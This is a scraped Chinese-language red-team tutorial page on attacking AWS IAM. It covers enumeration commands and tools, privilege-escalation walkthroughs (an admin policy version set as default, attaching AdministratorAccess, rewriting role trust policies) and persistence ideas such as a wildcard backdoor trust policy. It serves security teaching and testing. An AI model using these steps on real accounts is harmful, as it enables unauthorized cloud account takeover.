AWS云安全及红队攻击技术分享2 1

You might also like

Download as pdf or txt
Download as pdf or txt
You are on page 1of 13

AWS云安全及红队攻击技术分享2-1

AWS云安全及红队攻击技术分享2-1
第二章第一节 IAM—身份访问管理
Written by 六对半雨翼

转载请注明

前言
本节将介绍AWS IAM,以及当IAM 配置不当时的攻击利用,并会有3个攻击场景举例。注意,
现在的举例是处于白盒状态,即在知道明确policy的情况下去利用。之后在第三章会阐述在完
全黑盒情况下的攻击利用。本节内容需要用到AWS CLI,如果有不清楚的可以翻看第一章第
二节。

IAM - Identity and Access Management


概念
AWS 的 IAM 是指 Identity and Access Management(身份和访问管理)。它是 AWS 的一项
服务,用于管理对 AWS 资源的安全访问。IAM 允许你控制用户、组和角色对 AWS 资源的访
问权限。

IAM 的主要功能包括:

1. 用户管理:你可以创建和管理具有自己的凭据的 IAM 用户。每个用户可以被分配特定的


权限,以便只能访问其工作所需的 AWS 资源。
2. 组管理:IAM 允许你将用户放入组中,并为整个组分配权限。这样,你可以轻松管理具
有相似权限需求的用户集合。
3. 权限管理:通过 IAM,你可以创建和管理权限策略,这些策略定义了哪些用户、组或角
色可以访问哪些 AWS 资源以及如何访问这些资源。
4. 角色管理:IAM 角色是一种安全身份,可以分配给 AWS 服务、托管服务或受信任的实
体。角色使其他 AWS 服务可以安全地与彼此交互,而无需直接使用长期的安全凭据。
5. 多因素身份验证 (MFA):IAM 支持多因素身份验证,可以增加对 AWS 账户和资源的安
全性。

通过 IAM,你可以实现最小特权原则,确保每个用户、服务或实体都只具有完成其工作所需
的最低权限。这有助于提高 AWS 资源的安全性和合规性,并防止意外或恶意的资源访问和操
作。

枚举
枚举需要的相关权限如下:
1 / 13
AWS云安全及红队攻击技术分享2-1

1 - iam:ListPolicies, iam:GetPolicy and iam:GetPolicyVersion

2
- iam:ListRoles
3
4 - iam:ListUsers
5
6 - iam:ListGroups
7
- iam:ListGroupsForUser
8
9
- iam:ListAttachedUserPolicies
10
11 - iam:ListAttachedRolePolicies
12
13 - iam:ListAttachedGroupPolicies
14
- iam:ListUserPolicies and iam:GetUserPolicy
15
16 - iam:ListGroupPolicies and iam:GetGroupPolicy
17
18 - iam:ListRolePolicies and iam:GetRolePolicy
19
20
手动枚举 - Users

# 列出账户中所有实体(用户、组、角色)的权限策略及其关联的权限。
aws iam get-account-authorization-details

# 获取用户列表
aws iam list-users
# 将返回指定 IAM 用户的元数据,包括用户的用户名、用户 ID、创建日期、附加的权
限策略以及其他相关信息。
aws iam get-user --user-name <username>
# 获取指定 IAM 用户内联策略
aws iam list-user-policies --user-name <username>
aws iam get-user-policy --user-name <username> --policy-name
<policyname>
# 获取指定 IAM 用户附加策略
aws iam list-attached-user-policies --user-name <username>

手动枚举 - Groups

# 列出用户组
aws iam list-groups

2 / 13
AWS云安全及红队攻击技术分享2-1
# 列出特定 IAM 用户所属的 IAM 用户组
aws iam list-groups-for-user --user-name <username>

# 列出指定 IAM 用户组关联的所有的权限策略


aws iam list-group-policies --group-name <groupname>

# 用于获取指定 IAM 用户组中指定策略 (<policyname>) 的详细信息


aws iam get-group-policy --group-name <groupname> --policy-name
<policyname>

# 列出与指定 IAM 用户组关联的附加策略


aws iam list-attached-group-policies --group-name <groupname>

手动枚举 - Role

#列出所有的role
aws iam list-roles

# 获取指定Role 关联的所有权限策略
aws iam list-role-policies --role-name <rolename>

# 用于获取指定Role中指定策略 (<policyname>) 的详细信息


aws iam get-role-policy --role-name <rolename> --policy-name
<policyname>

# 列出与指定 IAM 用户组关联的附加策略


aws iam list-attached-role-policies --role-name <rolename>

手动枚举 - Policies

# 获取策略
aws iam list-policies --only-attached

# 获取指定 policy_arn 策略的详细信息


aws iam get-policy --policy-arn <policy_arn>

# 获取指定 policy_arn 策略的所有版本


aws iam list-policy-versions --policy-arn <policy_arn>

# 获取指定 policy_arn 策略的特定版本详细信息,其中


<arn:aws:iam::975426262029:policy/list_apigateways> 是 IAM 策略的 ARN,
<VERSION_X> 是要获取的特定版本号

3 / 13
AWS云安全及红队攻击技术分享2-1
aws iam get-policy-version --policy-arn
<arn:aws:iam::975426262029:policy/list_apigateways> --version-id
<VERSION_X>

# 列出授予指定服务命名空间(<svc>)访问权限的身份(<identity>)所关联的所有
IAM 策略。
aws iam list-policies-granting-service-access --arn <identity> --
service-namespaces <svc>

手动枚举 - Misc

# 获取密码策略
aws iam get-account-password-policy

# 查看当前 AWS IAM 中配置的所有 SAML 提供商


aws iam list-saml-providers
# 查看当前 AWS IAM 中配置的所有 OIDC 提供商
aws iam list-open-id-connect-providers

# 查看账户中哪些 IAM 用户已经配置了 MFA 设备


aws iam list-mfa-devices
# 查看账户中已经创建的虚拟 MFA 设备列表
aws iam list-virtual-mfa-devices

sts:AssumeRole
sts:AssumeRole 是 AWS Identity and Access Management (IAM) 中的一项权限,用于允许用
户或实体扮演(assume)另一个 IAM 角色的身份。

当一个实体(如 IAM 用户、AWS 服务或另一个角色)需要以另一个角色的身份执行操作时,


可以使用 sts:AssumeRole 权限。通过扮演角色,实体可以获取到被扮演角色所拥有的权限,
并在其范围内执行操作。

sts:AssumeRole 权限通常是在创建或分配 IAM 角色时授予的。要使用 sts:AssumeRole 权


限,需要提供被扮演角色的 Amazon Resource Name (ARN),并在调用 AWS Security Token
Service (STS) 的 AssumeRole API 操作时指定该 ARN。 扮演角色的常见用途包括:

1. 跨账号访问:允许一个 AWS 账号中的实体以另一个账号中角色的身份访问资源。


2. 临时权限提升:允许一个实体在特定情况下获取比其自身权限更高的权限。例如,一个
IAM 用户可以通过扮演管理员角色来执行管理任务,而不需要直接拥有管理员权限。
3. 权限分离和安全性:通过限制实体的直接访问权限,可以提高安全性并实现权限分离的
最佳实践。实体只能通过扮演角色来访问所需资源。

4 / 13
AWS云安全及红队攻击技术分享2-1
请注意,为了使用 sts:AssumeRole 权限,实体需要具有调用 AssumeRole API 操作的权限,
并且被扮演角色也需要允许被扮演的操作。此外,还需要考虑角色信任策略和权限策略的配
置,以确保安全且符合预期的行为。

枚举工具
https://github.com/carlospolop/bf-aws-permissions 这个工具会在之后的黑盒测试章节详细讲

cd git/bf-aws-permissions
bash bf-aws-permissions.sh -p "<profile-name>"

https://github.com/andresriancho/enumerate-iam

cd git/enumerate-iam
python3 enumerate-iam.py --region us-east-1 --access-key ACCESS_KEY --
secret-key SECRET_KEY --session-token SESSION_TOKEN
# 检查所有标识 "worked!"的项 (比如: "iam.list_users() worked!")

https://github.com/carnal0wnage/weirdAAL

cd git/weirdAAL
#AKSK及token需要export 设置进环境变量,这个工具不能用aws cli自带的配置文
件,但是可以规避aws各种检测工具
python3 weirdAAL.py -m ec2_describe_instances -t ec2test
python3 weirdAAL.py -m iam_list_users -t iamtest
python3 weirdAAL.py -m recon_all -t MyTarget

权限提升
对AWS的权限提升有10多种IAM权限,例如:

iam:CreatePolicyVersion
iam:SetDefaultPolicyVersion
iam:CreateAccessKey
iam:CreateLoginProfile | iam:UpdateLoginProfile
iam:UpdateAccessKey
iam:CreateServiceSpecificCredential |
iam:ResetServiceSpecificCredential
iam:AttachUserPolicy || iam:AttachGroupPolicy
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) |
iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
5 / 13
AWS云安全及红队攻击技术分享2-1
iam:ResyncMFADevice
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
iam:UpdateOpenIDConnectProviderThumbprint,
iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

其中比较常用的有如下这些:

iam:CreatePolicyVersion
这个权限可以用来创建一个新版本的策略作为默认版本,并赋予更多的权限。

iam:CreateAccessKey
为了冒充其他用户而创建密钥(每个用户最多2个)。

iam:UpdateLoginProfile
修改已登录到控制台的用户的密码

iam:UpdateAssumeRolePolicy, sts:AssumeRole
更新假设assume role策略,并进行assume

如果想查看更多IAM提权信息,可以访问 https://cloud.hacktricks.xyz/pentesting-cloud/aws-
pentesting/aws-privilege-escalation/aws-iam-privesc

后渗透
ConFusEd dEPuTy 当一个账户 A 信任账户 B,然后账户 B 信任账户 C,这种情况可能会导
致一个攻击者在账户 C 中利用信任关系链,从而访问账户 A。而这也是AWS云渗透中的横向
移动的一种。

要解决这个问题,确保账户 B 知道用于扮演账户 A 中角色的 "ExternalId"。

下面的策略就能很好的防护这个问题。

{
"Version": "2012-10-17",
"Statement": {
"Effect": "Allow",
6 / 13
AWS云安全及红队攻击技术分享2-1
"Principal": {
"AWS": "Example Corp's AWS Account ID"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "12345"
}
}
}
}

权限维持
IAM 可能是设置某种持久性的最常见途径之一。主要包括:

将受控用户添加到特权组
创建访问密钥(新用户或所有用户的)
向受控用户/组授予额外权限(附加策略或内联策略)
禁用 MFA/添加你自己的 MFA 设备
创建一个角色链切换(Role Chain Juggling)的情况(更多关于这个在 STS 持久性方面
的内容)。

Backdoor Role Trust Policies - 后门角色信任策略

具体策略如下:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": [
"*",
"arn:aws:iam::123213123123:root"
]
},
"Action": "sts:AssumeRole"
}
]
}

7 / 13
AWS云安全及红队攻击技术分享2-1

审计帐户的推荐权限
以下权限授予元数据的各种读取访问权限:

arn:aws:iam::aws:policy/SecurityAudit
arn:aws:iam::aws:policy/job-function/ViewOnlyAccess
codebuild:ListProjects
config:Describe*
cloudformation:ListStacks
logs:DescribeMetricFilters
directconnect:DescribeConnections
dynamodb:ListTables

攻击场景
Read Policies
详细的查询附加策略的方法如下:

1. 获取自身的username
2. 查询这个username的附加策略名
3. 查询这个策略的版本
4. 利用 策略名和版本号查出具体策略内容

💀
┌──(root kali)-[~/test/aws]
└─# aws sts get-caller-identity --profile test1 //这条命令相当于
cmdline中输入了whoami
{
"UserId": "AIDAW5WOOIPSZAXSZJAUB",
"Account": "476100576229",
"Arn": "arn:aws:iam::476100576229:user/iam-lab"
}

💀
┌──(root kali)-[~/test/aws]
└─# aws iam list-attached-user-policies --user-name iam-lab --profile
test1
{
"AttachedPolicies": [
{
"PolicyName": "iam_lab_1",
"PolicyArn":
"arn:aws:iam::476100576229:policy/iam_lab_1_start"
}

8 / 13
AWS云安全及红队攻击技术分享2-1
]
}

💀
┌──(root kali)-[~/test/aws/rds]
└─# aws iam list-policy-versions --policy-arn
arn:aws:iam::476100576229:policy/iam_lab_1_start --profile test1
{
"Versions": [
{
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2024-02-17T17:50:27+00:00"
}
]
}

💀
┌──(root kali)-[~/test/aws]
└─# aws iam get-policy-version --policy-arn
arn:aws:iam::476100576229:policy/iam_lab_1_start --version-id v1 --
profile test1
{
"PolicyVersion": {
"Document": {
"Statement": [
...
]
}
}
}

如果需要查询内联策略的话:

aws iam list-user-policies --user-name <username>


aws iam get-user-policy --user-name <username> --policy-name
<policyname>

下文会举例几个IAM配置不当导致可以攻击的路径:

iam:CreatePolicyVersion & iam:SetDefaultPolicyVersion


在本地准备policy.json

9 / 13
AWS云安全及红队攻击技术分享2-1

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

拥有 iam:CreatePolicyVersion 权限的攻击者可以创建他们有权访问的 IAM 策略的新版本。


这允许他们定义自己的自定义权限。创建新的策略版本时,需要将其设置为默认版本才能生
效,您可能认为这需要 iam:SetDefaultPolicyVersion 权限,但在创建新的策略版本时,可以
包含标志 ( --set-as-default ) 将自动将其创建为新的默认版本。该标志不需要
iam:SetDefaultPolicyVersion 权限即可使用。

💀
┌──(root kali)-[~/test/aws]
└─# aws iam create-policy-version --policy-arn
arn:aws:iam::476100576229:policy/iam_lab_1_start --policy-document
file:////root/tools/aws/policy.json --set-as-default --profile test1

#如果没有返回报错信息,则表示执行成功了。

💀
#查看上传的策略,发现v2版本已经是是默认版本的策略了
┌──(root kali)-[~/test/aws]
└─# aws iam list-policy-versions --policy-arn
arn:aws:iam::476100576229:policy/iam_lab_1_start --profile test1
{
"Versions": [
{
"VersionId": "v2",
"IsDefaultVersion": true,
"CreateDate": "2024-01-27T18:21:43+00:00"
},
{
"VersionId": "v1",
"IsDefaultVersion": false,
"CreateDate": "2024-01-27T10:56:21+00:00"
}
]
}

10 / 13
AWS云安全及红队攻击技术分享2-1
这时候你已经拥有了所有权限。

而具有 iam:SetDefaultPolicyVersion 权限的攻击者可能能够通过当前未使用的现有策略版本


来升级权限。如果他们有权访问的策略的版本不是默认版本,他们将能够将默认版本更改为任
何其他现有版本。

💀
┌──(root kali)-[~/test/aws]
└─# aws iam set-default-policy-version --policy-arn
arn:aws:iam::476100576229:policy/iam_lab_1_start --version-id v2 --
profile test1

iam:AttachUserPolicy
一旦拥有了 iam:AttachUserPolicy 策略后,可以把admin的策略附加给自己

升级权限

💀
┌──(root kali)-[~/test/aws]
└─# aws iam attach-user-policy --user-name iam-lab --policy-arn
"arn:aws:iam::aws:policy/AdministratorAccess" --profile test1

iam:UpdateAssumeRolePolicy & sts:AssumeRole


具有 iam:UpdateAssumeRolePolicy 和 sts:AssumeRole 权限的攻击者将能够更改任何现有角
色的扮演角色策略文档,以允许他们扮演该角色。

其中策略模板如下所示,它授予用户扮演该角色的权限:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

添加扮演角色能力

11 / 13
AWS云安全及红队攻击技术分享2-1

💀
┌──(root kali)-[~/test/aws]
└─# aws iam update-assume-role-policy --role-name iam-lab-3-target --
policy-document file:///root/test/aws/policy_iam_lab3.json --profile
test1

policy_iam_lab3.json

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "arn:aws:iam::476100576229:user/iam-lab-3-
start-point"
}
}
]
}

这样,只要和iam-lab-3-start-point 这个角色有信任关系的,他均可扮演。

后续
下一节将进入本次分享的第二章AWS服务利用的第二节,介绍AWS服务利用:STS。

AWS红队攻击技术等干货分享,请关注MS08067安全实验室 公众号,或者加入知识星球
AWS云安全训练营 【MS08067】 来和我们一起交流学习。

微信公众号:

12 / 13
AWS云安全及红队攻击技术分享2-1
加入星球:

扫码进交流群:

13 / 13

You might also like